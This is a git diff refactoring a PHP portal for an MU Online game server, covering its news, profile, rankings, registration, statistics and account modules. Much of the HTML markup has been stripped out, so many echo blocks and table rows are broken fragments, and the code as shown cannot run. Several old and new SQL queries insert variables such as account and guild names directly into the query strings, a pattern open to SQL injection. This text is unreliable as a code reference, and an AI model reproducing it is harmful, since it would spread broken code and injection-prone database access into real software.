'; - if($i < $now_total - 1) {echo $rowbr;} - } + mmw_lang_category, + 'author' => mmw_lang_author, + 'date' => mmw_lang_date, + 'total_comment' => mmw_lang_total_comment, +); + +for ($i = 0; $i < $now_total; ++$i) { + $row = mssql_fetch_row($get_news); + if ($i >= $from) { + if (!empty($row[5])) { + $news_row_1 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_1'] . substr($row[5], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_1'] . $row[5]; + } else { + $news_row_1 = ''; + } + if (!empty($row[6])) { + $news_row_2 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_2'] . substr($row[6], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_2'] . $row[6]; + } else { + $news_row_2 = ''; + } + if (!empty($row[7])) { + $news_row_3 = !empty($mmw['long_news_txt']) + ? $mmw['news_row_3'] . substr($row[7], 0, $mmw['long_news_txt']) . ' ...' + : $mmw['news_row_3'] . $row[7]; + } else { + $news_row_3 = ''; + } + $comm_num = intval($row[8]); + $date = date('d.m.Y', $row[3]); + $time = date('H:i:s', $row[3]); + $content = bbcode($news_row_1 . $news_row_2 . $news_row_3); + + echo << + +
{$content}
+
{$language['category']}: {$row[2]} | {$language['author']}: {$row[1]} | {$language['date']}: {$date} | {$language['total_comment']}: {$comm_num}
+ +HTML; + if ($i < $now_total - 1) { + echo $rowbr; + } + } } // Page Creator -if($pg > 1) { - $prev = ($pg - 1); // Previous Link - $paginator = " "; +$paginator = array(); +if ($page > 1) { + $prev = ($page - 1); + $paginator[] = ''; } -for($i = 1; $i <= $total_pgs; $i++) { /// Numbers - if(($pg) == $i) {$paginator .= ' '.$i.' ';} - else {$paginator .=' '.$i.' '; } +for ($i = 1; $i <= $total_pgs; $i++) { + $paginator[] = ($page === $i) + ? ' ' . $i . ' ' + : ' ' . $i . ' '; } -if($pg < $total_pgs) { - $next = ($pg + 1); // Next Link - $paginator .= " "; +if ($page < $total_pgs) { + $next = ($page + 1); + $paginator[] = ''; +} + +if (!empty($paginator)) { + echo $rowbr . '
[ ' . implode(' ', $paginator) . ' ]
'; } -if($paginator != NULL) {echo $rowbr . "
[ $paginator ]
";} -?> \ No newline at end of file diff --git a/modules/news_full.php b/modules/news_full.php index 17717b6..1cea36b 100644 --- a/modules/news_full.php +++ b/modules/news_full.php @@ -1,27 +1,45 @@ - mmw_lang_category, + 'author' => mmw_lang_author, + 'date' => mmw_lang_date, + 'total_comment' => mmw_lang_total_comment, +); -echo ' -
-
'.$row[0].'
-
'.bbcode($news_row_1.$news_row_2.$news_row_3).'
-
'.mmw_lang_category.': '.$row[2].' | '.mmw_lang_author.': '.$row[1].' | '.mmw_lang_date.': '.$date.' -
-
'; +if (!isset($mmw['news_row_end'])) { + $mmw['news_row_end'] = ''; } -$c_id_blog=1; -$c_id_code=$news_id; -include("includes/comment.php"); -?> \ No newline at end of file +while ($row = mssql_fetch_row($get_news)) { + $content = ''; + $date = date('H:i:s d.m.Y', $row[3]); + + if (!empty($row[4])) { + $content .= $mmw['news_row_1'] . bbcode($row[4]) . $mmw['news_row_end']; + } + if (!empty($row[5])) { + $content .= $mmw['news_row_2'] . bbcode($row[5]) . $mmw['news_row_end']; + } + if (!empty($row[6])) { + $content .= $mmw['news_row_3'] . bbcode($row[6]) . $mmw['news_row_end']; + } + + echo << +
{$row[0]}
+
{$content}
+
{$language['category']}: {$row[2]} | {$language['author']}: {$row[1]} | {$language['date']}: {$date}
+ +HTML; +} + +comment_module(1, $news_id); diff --git a/modules/profile.php b/modules/profile.php index 054cf94..2c07aff 100644 --- a/modules/profile.php +++ b/modules/profile.php @@ -1,107 +1,148 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
+if (empty($profile_info)) { + echo $die_start . 'Profile does not exist' . $die_end; +} elseif (!empty($profile_info[4]) && !$mmw['status_rules'][$_SESSION['mmw_status']]['gm_option']) { + echo $die_start . 'Profile hidden!' . $die_end; +} else { + if (empty($profile_info[2])) { + $profile_info[2] = mmw_lang_no_set; + } + if (empty($profile_info[5])) { + $profile_info[5] = mmw_lang_no_set; + } + if (empty($profile_info[6])) { + $profile_info[6] = mmw_lang_no_set; + } + if (empty($profile_info[7])) { + $profile_info[7] = mmw_lang_no_set; + } + if (empty($profile_info[8])) { + $profile_info[8] = mmw_lang_no_set; + } + if (empty($profile_info[3])) { + $profile_info[3] = default_img('no_avatar.jpg'); + } + ?> - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
:
:
:
:
:
:
:
Yahoo!:
MSN:
ICQ:
Skype:
:
- - - - - - - - -'; -} + -for($i=0; $i<$row_num; ++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$account_get'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$account_get'"); - $statusdc = mssql_fetch_row($statusdc_reults); +
#
'.mmw_lang_no_characters.'
+ + + + + + + + + + + ';} - else {$status[0] ='';} + if (empty($rowCount)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -echo " - - - - - - "; + echo << + + + + + + +HTML; + $rank++; + } + } + echo '
#
' . mmw_lang_no_characters . '
$rank$status[0] $row[0]$row[3]$row[2]".char_class($row[1],off)."
{$rank}{$status} {$row[0]}{$row[3]}{$row[2]}{$class}
'; } -?> - \ No newline at end of file diff --git a/modules/rankings.php b/modules/rankings.php index b0a5db4..769553a 100644 --- a/modules/rankings.php +++ b/modules/rankings.php @@ -1,53 +1,74 @@ - mmw_lang_all_characters, + 'pk' => mmw_lang_all_killers, + 'guild' => mmw_lang_all_guilds, + 'online' => mmw_lang_online_characters, +); + +if ($mmw['gens']) { + $topRank['gens'] = 'Durpian vs Vanert'; +} + +for ($classGroup=0; $classGroup<$mmw['characters_class']; $classGroup++) { + $classLevel = $classGroup * 16; + $class = char_class($classLevel, null); + $higClass = char_class($classLevel + 7); + $topRank[$class['group']] = mmw_lang_only . " {$class['off']}'s-{$higClass}'s"; +} ?> - +
- +
-
- : - - : - - -
-
+
+ : + + : + + +
+
- + -
- -
\ No newline at end of file +
+ +
diff --git a/modules/rankings/3d_online.php b/modules/rankings/3d_online.php deleted file mode 100644 index e477b0a..0000000 --- a/modules/rankings/3d_online.php +++ /dev/null @@ -1,53 +0,0 @@ -\n
".mmw_lang_total_users_online.": $row_num, ".mmw_lang_character." [".mmw_lang_reset."/".mmw_lang_level."]"; - -for($i=0;$i < $row_num;++$i) { - $rand = rand(6,10); - $row = mssql_fetch_row($result); - $idc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[0]'"); - $idc = mssql_fetch_row($idc_reults); - $char_reults = mssql_query("Select Name,Class,Reset,cLevel,AccountID from Character where name='$idc[0]'"); - $char = mssql_fetch_row($char_reults); - - $mmwflashbody = $mmwflashbody . "%3Ca href=%27%3Fop=character%26character=$char[0]%27 %62%79=%27%76%61%66%6C%61%6E%27 style=%27font-size: ".$rand."pt;%27%3E$char[0] [$char[2]/$char[3]]%3C/a%3E "; -} - -if(!isset($flash_body_size)) { - $flash_body_size = "500"; -} -?> - -
-

- -

-

WP Cumulus Flash tag cloud Edited by Vaflan.

-
- - \ No newline at end of file diff --git a/modules/rankings/character.php b/modules/rankings/character.php index d34d791..eb75408 100644 --- a/modules/rankings/character.php +++ b/modules/rankings/character.php @@ -1,65 +1,93 @@ - "c.Class>-1", + 'dw' => "c.Class>=0 AND c.Class<16", + 'dk' => "c.Class>=16 AND c.Class<32", + 'elf' => "c.Class>=32 AND c.Class<48", + 'mg' => "c.Class>=48 AND c.Class<64", + 'dl' => "c.Class>=64 AND c.Class<80", + 'sum' => "c.Class>=80 AND c.Class<96", + 'rf' => "c.Class>=96 AND c.Class<112", + 'gl' => "c.Class>=112 AND c.Class<128", + 'rw' => "c.Class>=128 AND c.Class<144", + 'sl' => "c.Class>=144 AND c.Class<160", + 'gc' => "c.Class>=160 AND c.Class<176", + 'lw' => "c.Class>=176 AND c.Class<192", + 'lm' => "c.Class>=192 AND c.Class<208", +); -if(empty($_POST['top_rank'])){$top_rank = '100';} -if(empty($_POST['sort'])){$race = 'all';} +$topCount = intval($_POST['top_rank']); -if($mmw['gm']=='no'){$no_gm_in_top = "and ctlcode!='32' and ctlcode!='8'";} -$query_race[all] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='0' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dw] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='0' and class<='15' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dk] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='16' and class<='31' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[elf] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='32' and class<='47' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[mg] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='48' and class<='63' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[dl] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='64' and class<='79' $no_gm_in_top order by reset desc, clevel desc"; -$query_race[sum] = "Select TOP $top_rank Name,Class,cLevel,Reset,AccountID from Character where class>='80' and class<='95' $no_gm_in_top order by reset desc, clevel desc"; +$race = isset($query_race[$_POST['sort']]) + ? $_POST['sort'] + : 'all'; -$result = @mssql_query($query_race[$race]); -$row_num = @mssql_num_rows($result); - -echo "
".mmw_lang_top." $top_rank ".mmw_lang_characters."
 
- - - - - - - - - "; +$no_gm_in_top = !empty($mmw['gm_show']) + ? "AND c.CtlCode NOT IN (8, 32)" + : ''; +?> -if($row_num==0) { - echo ''; -} +
+
+
-for($i=0; $i<$row_num; ++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); - $status = mssql_fetch_row($status_reults); - $statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); - $statusdc = mssql_fetch_row($statusdc_reults); - if(empty($_SESSION['guild_'.$row[0]])) { - $guild_reults = mssql_query("Select G_Name from GuildMember where Name='$row[0]'"); - $_SESSION['guild_'.$row[0]] = mssql_fetch_row($guild_reults); - } - $guild = $_SESSION['guild_'.$row[0]]; +
#".mmw_lang_character."".mmw_lang_reset."".mmw_lang_level."".mmw_lang_class."".mmw_lang_guild."
'.mmw_lang_no_characters.'
+ + + + + + + + + + + + ';} - else {$status[0] ='';} + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_no_characters . '
$rank$status[0] $row[0]$row[3]$row[2]".char_class($row[1],off)."$guild[0]
{$rank}{$status} {$row[0]}{$row[3]}{$row[2]}{$class}{$row[6]}
\ No newline at end of file diff --git a/modules/rankings/gens.php b/modules/rankings/gens.php new file mode 100644 index 0000000..9020325 --- /dev/null +++ b/modules/rankings/gens.php @@ -0,0 +1,90 @@ + + +
+Durpian vs Vanert
+
+ + + + + + +
+ + + + + + + + + + '; + } else { + $rank = 1; + foreach ($gens[1]['list'] as $row) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + + echo " "; + $rank++; + } + } + ?> + +
#
' . mmw_lang_no_characters . '
$rank$status $row[0]$row[1]
+
+ + + + + + + + + '; + } else { + $rank = 1; + foreach ($gens[2]['list'] as $row) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + + echo " "; + $rank++; + } + } + ?> +
#
' . mmw_lang_no_characters . '
$rank$status $row[0]$row[1]
+
diff --git a/modules/rankings/guild.php b/modules/rankings/guild.php index 5fe5f0e..39684a8 100644 --- a/modules/rankings/guild.php +++ b/modules/rankings/guild.php @@ -1,43 +1,61 @@ - -

 
- - - - - - - - - -';} -for($i=0;$i < $row_num;++$i) - { - $row = mssql_fetch_row($result); - if(empty($row[1]) || $row[1]<0) - {mssql_query("UPDATE guild SET [G_Score]='0' WHERE G_Name='$row[0]'");$row[1]="0";} - $rank = $i+1; - $logo = urlencode(bin2hex($row[3])); +
+
+
- $members = mssql_num_rows( mssql_query("SELECT name FROM Guildmember WHERE G_Name='$row[0]'") ); +
#
'.mmw_lang_no_guilds.'
+ + + + + + + + + + + + - - - - - - - "; - } -?> + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $logo = urlencode(bin2hex($row[3])); + + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
$rank$row[0]$row[1]$row[2]$members
' . mmw_lang_no_guilds . '
{$rank}{$row[0]}{$row[1]}{$row[2]}{$row[4]}Mark
\ No newline at end of file diff --git a/modules/rankings/online.php b/modules/rankings/online.php index 6d0ff33..0045b07 100644 --- a/modules/rankings/online.php +++ b/modules/rankings/online.php @@ -1,48 +1,67 @@ - -

 
- - - - - - - - - - -'; -} +
+
+
-for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; - $idc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[0]'"); - $idc = mssql_fetch_row($idc_reults); +
#
'.mmw_lang_all_characters_is_offline.'
+ + + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $image = default_img('online.gif'); + $class = char_class($row[4]); + $time = time_format($row[2], 'd M Y, H:i'); - $char_reults = mssql_query("Select Name,Class,Reset,cLevel,AccountID from Character where name='$idc[0]'"); - $char = mssql_fetch_row($char_reults); - -echo " - - - - - - - - "; -} -?> + echo << + + + + + + + + +HTML; + } + } + ?> +
#
' . mmw_lang_all_characters_is_offline . '
$rank $char[0]$char[2]$char[3]".char_class($char[1],off)."$row[1]".time_format($row[2],"d M Y, H:i")."
{$rank} {$row[3]}{$row[6]}{$row[5]}{$class}{$row[1]}{$time}
\ No newline at end of file diff --git a/modules/rankings/pk.php b/modules/rankings/pk.php index d35d95d..39c2ba5 100644 --- a/modules/rankings/pk.php +++ b/modules/rankings/pk.php @@ -1,49 +1,70 @@ - -

 
- - - - - - - - - -0 $no_gm_in_top order by pkcount desc"); -$row_num = @mssql_num_rows($result); -if($row_num==0) { - echo ''; -} +$topCount = intval($_POST['top_rank']); -for($i=0;$i < $row_num;++$i) -{ -$row = mssql_fetch_row($result); -$rank = $i+1; +$no_gm_in_top = !empty($mmw['gm_show']) + ? "AND c.CtlCode NOT IN (8, 32)" + : ''; +?> -$status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[4]'"); -$status = mssql_fetch_row($status_reults); -$statusdc_reults = mssql_query("Select GameIDC from AccountCharacter where Id='$row[4]'"); -$statusdc = mssql_fetch_row($statusdc_reults); +
+
+
-if($status[0] == 1 && $statusdc[0] == $row[0]) {$status[0] ='';} -else {$status[0] ='';} +
#
'.mmw_lang_no_characters.'
+ + + + + + + + + + + + 0 {$no_gm_in_top} + ORDER BY c.PkCount DESC"); + $row_num = mssql_num_rows($result); + if (empty($row_num)) { + echo ''; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $status = ($row[4] && $row[5] === $row[0]) + ? '' + : ''; + $class = char_class($row[1]); -echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_no_characters . '
$rank$status[0] $row[0]$row[5]$row[2]$row[3]".char_class($row[1],off)."
{$rank}{$status} {$row[0]}$row[6]$row[3]$row[2]{$class}
\ No newline at end of file diff --git a/modules/rankings/search_acc.php b/modules/rankings/search_acc.php index b2c65ba..fe1c71f 100644 --- a/modules/rankings/search_acc.php +++ b/modules/rankings/search_acc.php @@ -1,46 +1,65 @@ - -


 
- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); +
+
+
- $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[0]'"); - $status = mssql_fetch_row($status_reults); - if($status[0] == 0){$status[0] ='';} - if($status[0] == 1){$status[0] ='';} +
#
'.mmw_lang_cant_find.'
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $gender = gender($row[2]); + $country = country($row[3]); + $status = ($row[5]) + ? '' + : ''; - $rank = $i+1; - - echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_cant_find . '
$rank$row[0]$row[1]".gender($row[2])."".country($row[3])."$status[0]
{$rank}{$row[0]}{$row[1]}{$gender}{$country}{$status}
\ No newline at end of file diff --git a/modules/rankings/search_char.php b/modules/rankings/search_char.php index 8137b22..cc5c2af 100644 --- a/modules/rankings/search_char.php +++ b/modules/rankings/search_char.php @@ -1,46 +1,65 @@ - -


 
- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $row = mssql_fetch_row($result); +
+
+
- $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[8]'"); - $status = mssql_fetch_row($status_reults); - if($status[0] == 0){$status[0] ='';} - if($status[0] == 1){$status[0] ='';} +
#
'.mmw_lang_cant_find.'
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + $class = char_class($row[1]); + $status = ($row[4] && $row[0] === $row[5]) + ? '' + : ''; - $rank = $i+1; - - echo " - - - - - - - "; -} -?> + echo << + + + + + + + +HTML; + $rank++; + } + } + ?> +
#
' . mmw_lang_cant_find . '
$rank$row[0]$row[2]$row[3]".char_class($row[1],off)."$status[0]
{$rank}{$row[0]}{$row[2]}{$row[3]}{$class}{$status}
\ No newline at end of file diff --git a/modules/rankings/search_guild.php b/modules/rankings/search_guild.php index ed10aa5..0945fef 100644 --- a/modules/rankings/search_guild.php +++ b/modules/rankings/search_guild.php @@ -1,43 +1,68 @@ - -


 
- - - - - - - - - -'; -} -for($i=0;$i < $row_num;++$i) { - $rank = $i+1; - $row = mssql_fetch_row($result); - if($row[2]==NULL){$row[2]="0";} - $result2 = mssql_query("Select count(*) from GuildMember where G_name='$row[0]'"); - $row2 = mssql_fetch_row($result2); - $logo = urlencode(bin2hex($row[1])); +
+
+
-echo " - - - - - - - "; -} -?> +
#
'.mmw_lang_cant_find.'
$rank$row[0]$row[2]$row[3]$row2[0]',false); return false\">
+ + + + + + + + + + + + '; + } else { + $rank = 1; + while ($row = mssql_fetch_row($result)) { + if (empty($row[2])) { + $row[2] = 0; + } + $logo = urlencode(bin2hex($row[1])); + + echo << + + + + + + + +HTML; + } + $rank++; + } + ?> +
#
' . mmw_lang_cant_find . '
{$rank}{$row[0]}{$row[2]}{$row[3]}{$row[4]} + + + +
\ No newline at end of file diff --git a/modules/register.php b/modules/register.php index 66a7347..b61fd25 100644 --- a/modules/register.php +++ b/modules/register.php @@ -1,119 +1,242 @@ -$country"; -} -?> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'.mmw_lang_account.'
'.mmw_lang_password.'
'.mmw_lang_repeat_password.'
'.mmw_lang_email_address.'
'.mmw_lang_secret_question.'
'.mmw_lang_secret_answer.'
'.mmw_lang_full_name.'
'.mmw_lang_country.'
'.mmw_lang_gender.' '.mmw_lang_male.'   '.mmw_lang_female.'
'.mmw_lang_security_code.'
- '; + + +if ($_GET['terms'] === 'agree') { + $selectCountry = ''; + foreach (country(null, true) as $id => $country) { + $selected_country = ($id == $_POST['country']) + ? ' selected' + : ''; + + $selectCountry .= ''; + } + + $language = array( + 'account' => mmw_lang_account, + 'password' => mmw_lang_password, + 'repeat_password' => mmw_lang_repeat_password, + 'email_address' => mmw_lang_email_address, + 'secret_question' => mmw_lang_secret_question, + 'secret_answer' => mmw_lang_secret_answer, + 'full_name' => mmw_lang_full_name, + 'country' => mmw_lang_country, + 'gender' => mmw_lang_gender, + 'male' => mmw_lang_male, + 'female' => mmw_lang_female, + 'security_code' => mmw_lang_security_code, + 'renew' => mmw_lang_renew, + 'new_account' => mmw_lang_new_account, + ); + $imageSourceRefresh = default_img('refresh.gif'); + + echo << + function check_register_form() { + let errors = []; + let list = [ + {key: 'account', message: 'Please enter Account.'}, + {key: 'password', message: 'Please enter Password.'}, + {key: 'repassword', message: 'Please enter Repeat password.'}, + {key: 'email', message: 'Please enter E-mail address.'}, + {key: 'question', message: 'Please enter Secret question.'}, + {key: 'answer', message: 'Please enter Secret answer.'}, + {key: 'country', message: 'Please select Country.'}, + {key: 'verifyinput', message: 'Please enter Verify input.'}, + ]; + + list.forEach(function (rule) { + if (document.register_from[rule.key].value === '') { + errors.push(rule.message); + } + }); + if (errors.length) { + alert(errors.join('\\n')); + } + + return !errors.length; + } + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{$language['account']}
{$language['password']}
{$language['repeat_password']}
{$language['email_address']}
{$language['secret_question']}
{$language['secret_answer']}
{$language['full_name']}
{$language['country']}
{$language['gender']} + +   + +
{$language['security_code']} + + captcha + renew +
+ + +
+
+HTML; } else { -if(is_file("lang/$_SESSION[set_lang]_terms.txt")) {$terms_file = "lang/$_SESSION[set_lang]_terms.txt";} -else {$terms_file = "lang/English_terms.txt";} -$terms_read = fopen($terms_file, 'r'); -$terms = fread($terms_read, filesize($terms_file)); -fclose($terms_read); -?> -
- - - - - - - -
- - - -
-
- \ No newline at end of file + $terms_file = is_file('lang/' . $_SESSION['language'] . '_terms.txt') + ? 'lang/' . $_SESSION['language'] . '_terms.txt' + : 'lang/English_terms.txt'; + ?> +
+
+

+ + + + +
+
+ mmw_lang_character, + 'guild' => mmw_lang_guild, +); +if ($mmw['search_account']) { + $searchType['acc'] = mmw_lang_account; +} ?> - +
- +
-
- ";?> - ";?> -
-
+
+ : + + : + + +
+
- + -
- -
\ No newline at end of file +
+ +
diff --git a/modules/statistics.php b/modules/statistics.php index 7928340..80544df 100644 --- a/modules/statistics.php +++ b/modules/statistics.php @@ -1,158 +1,150 @@ - 0) {$procent = substr(100 * $characters[0] / $total_characters[0], 0, 4);} -else {$procent = 0;} - if($type==0) {$return = $procent;} - else {$return = $characters[0];} -return $return; + 0) + ? substr(100 * $characters[0] / $total_characters[0], 0, 4) + : 0; + + return [$percent, $characters[0]]; } -function s_map_done($type,$map) { -$total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character") ); -$in_map_char = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character WHERE mapnumber = $map") ); -if($in_map_char[0] > 0) {$procent = substr(100 * $in_map_char[0] / $total_characters[0], 0, 4);} -else {$procent = 0;} - if($type==0) {$return = $procent;} - else {$return = $in_map_char[0];} -return $return; +$serverList = array(); +$result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type FROM dbo.MMW_SERVERS ORDER BY display_order"); +while ($row = mssql_fetch_row($result)) { + $status = '' . mmw_lang_serv_offline . ''; + if ($check = @fsockopen($row[4], $row[3], $error_code, $error_message, 0.8)) { + $status = '' . mmw_lang_serv_online . ''; + fclose($check); + } + $title = '' . mmw_lang_version . ': ' . $row[5] + . '
' . mmw_lang_experience . ': ' . $row[1] + . '
' . mmw_lang_drops . ': ' . $row[2] + . '
' . mmw_lang_type . ': ' . $row[6]; + $serverList[] = <<{$row[0]}: {$status} +HTML; } -$online_characters = mssql_query("SELECT count(*) FROM memb_stat WHERE connectstat = 1"); +$online_characters = mssql_query("SELECT count(*) FROM dbo.MEMB_STAT WHERE connectstat = 1"); $online_characters_done = mssql_fetch_row($online_characters); $online = substr(100 * $online_characters_done[0] / $total_accounts[0], 0, 4); $users_connected_results = substr(100 * $users_connected[0] / $total_accounts[0], 0, 4); $total_banneds_results = substr(100 * $total_banneds[0] / $total_accounts[0], 0, 4); -$in_guilds = mssql_query("Select count(*) from GuildMember WHERE G_Name!='$gm_guild'"); +$in_guilds = mssql_query("SELECT count(*) FROM dbo.GuildMember WHERE G_Name!='{$mmw['gm_guild']}'"); $total_in_guilds = mssql_fetch_row($in_guilds); -if($total_in_guilds[0] > 0) {$total_in_guilds_results = substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4);} -else {$total_in_guilds_results = 0;} +$total_in_guilds_results = !empty($total_in_guilds[0]) + ? substr(100 * $total_in_guilds[0] / $total_characters[0], 0, 4) + : 0; -$male = mssql_query("Select count(*) from MEMB_INFO where gender='male'"); +$male = mssql_query("SELECT count(*) FROM dbo.MEMB_INFO WHERE gender='male'"); $male_done = mssql_fetch_row($male); $male_results = substr(100 * $male_done[0] / $total_accounts[0], 0, 4); -$female = mssql_query("Select count(*) from MEMB_INFO where gender='female'"); +$female = mssql_query("SELECT count(*) FROM dbo.MEMB_INFO WHERE gender='female'"); $female_done = mssql_fetch_row($female); $female_results = substr(100 * $female_done[0] / $total_accounts[0], 0, 4); -?> - - - - -
-".mmw_lang_serv_online."";} - else {$status_done = "".mmw_lang_serv_offline."";} - echo " ".mmw_lang_version.": $row[5]
".mmw_lang_experience.": $row[1]
".mmw_lang_drops.": $row[2]
".mmw_lang_type.": $row[6]\">$row[0]
: $status_done" . $other_serv; -} +$informationList = array( + ['label' => mmw_lang_total_accounts, 'percent' => 100, 'count' => $total_accounts[0]], + ['label' => mmw_lang_total_characters, 'percent' => 100, 'count' => $total_characters[0], 'link' => '?op=rankings&sort=all'], + ['label' => mmw_lang_total_banneds, 'percent' => $total_banneds_results, 'count' => $total_banneds[0], 'link' => '?op=blocked'], + ['label' => mmw_lang_total_guilds, 'percent' => 100, 'count' => $total_guilds[0], 'link' => '?op=rankings&sort=guild'], + ['label' => mmw_lang_total_in_guilds, 'percent' => $total_in_guilds_results, 'count' => $total_in_guilds[0]], + ['label' => mmw_lang_total_users_online, 'percent' => $users_connected_results, 'count' => $users_connected[0], 'link' => '?op=rankings&sort=online'], + ['label' => mmw_lang_total_male_users, 'percent' => $male_results, 'count' => $male_done[0]], + ['label' => mmw_lang_total_female_users, 'percent' => $female_results, 'count' => $female_done[0]], +); ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
- 100% ($total_accounts[0])";?> -
- 100% ($total_characters[0])";?> -
- $total_banneds_results% ($total_banneds[0])";?> -
- 100% ($total_guilds[0])";?> -
- $total_in_guilds_results% ($total_in_guilds[0])";?> -
- $users_connected_results% ($users_connected[0])";?> -
- $male_results% ($male_done[0])";?> -
- $female_results% ($female_done[0])";?> -
+ + +
+ +
- - - - - - - - - + + +
- ".s_characters_done(0,$mmw[statistics_char_row][$i])."% (".s_characters_done(1,$mmw[statistics_char_row][$i]).")";?> -
+ + + + + +
+ ' . $info['count'] . ''; + + echo <<{$info['percent']}% ({$htmlCount}) +HTML; + ?> +
- + + + + + + + + + +
+ {$percent}% ({$count}) +HTML; + ?> +
- - - - - - - -
- ".s_map_done(0,$mmw[statistics_maps_row][$i])."% (".s_map_done(1,$mmw[statistics_maps_row][$i]).")";?> -
\ No newline at end of file + + + + + + + + + +
+ {$percent}% ({$count}) +HTML; + ?> +
diff --git a/modules/user.php b/modules/user.php index a33f375..072b550 100644 --- a/modules/user.php +++ b/modules/user.php @@ -1,19 +1,30 @@ - \ No newline at end of file +$acc_online_check = (int)@current(mssql_fetch_row(mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$account}'"))); + +$userModule = !empty($_GET['u']) + ? preg_replace('/[^\w_-]/', '', $_GET['u']) + : null; + +if (empty($userModule)) { + require_once 'modules/user/acc.php'; +} elseif (is_file('modules/user/' . $userModule . '.php')) { + require_once 'modules/user/' . $userModule . '.php'; +} elseif (is_file('modules/user/' . $userModule . '.mmw')) { + mmw('modules/user/' . $userModule . '.mmw'); +} else { + echo $die_start . 'Empty Page, Go Back!' . $die_end; +} diff --git a/modules/user/acc.php b/modules/user/acc.php index 9dce617..a7c8739 100644 --- a/modules/user/acc.php +++ b/modules/user/acc.php @@ -1,218 +1,445 @@ -0) { - for($i=0; $i < $referral_num; ++$i) { - $rank = $i + 1; - $referral_row = mssql_fetch_row($referral_result); - if($referral_row[1]<=0) { - $char_ref_sql = mssql_query("Select name,Reset From Character WHERE AccountID='$referral_row[0]'"); - for($c=0; $c < mssql_num_rows($char_ref_sql); ++$c) { - $char_ref_row = mssql_fetch_row($char_ref_sql); - if($char_ref_row[1]>0 && $referral_row[1]<=0) { - mssql_query("UPDATE MEMB_INFO SET [ref_check]='1' WHERE memb___id='$referral_row[0]'"); - $referral_row[1] = 1; - $wh_resoult = mssql_query("Select AccountID,extMoney From warehouse WHERE AccountID = '$login'"); - $wh_row = mssql_fetch_row($wh_resoult); $wh_updated = $wh_row[1] + $mmw[zen_for_ref]; - mssql_query("UPDATE warehouse SET [extMoney]='$wh_updated' WHERE AccountID = '$login'"); - writelog("referral","Account $login Has Been GET Zen: $mmw[zen_for_ref]|For Acc: $referral_row[0]|For Char: $char_ref_row[0]"); + array('label' => $die_start . mmw_lang_invalid_current_password . $die_end, 'len_min' => 4, 'len_max' => 10, 'cont' => 'alpha'), + 'new_password' => array('label' => $die_start . mmw_lang_invalid_new_password . $die_end, 'len_min' => 4, 'len_max' => 10, 'cont' => 'alpha'), + 'renew_password' => array('label' => $die_start . mmw_lang_invalid_repassword . $die_end, 'len_max' => 10, 'equal' => 'new_password') + ); + 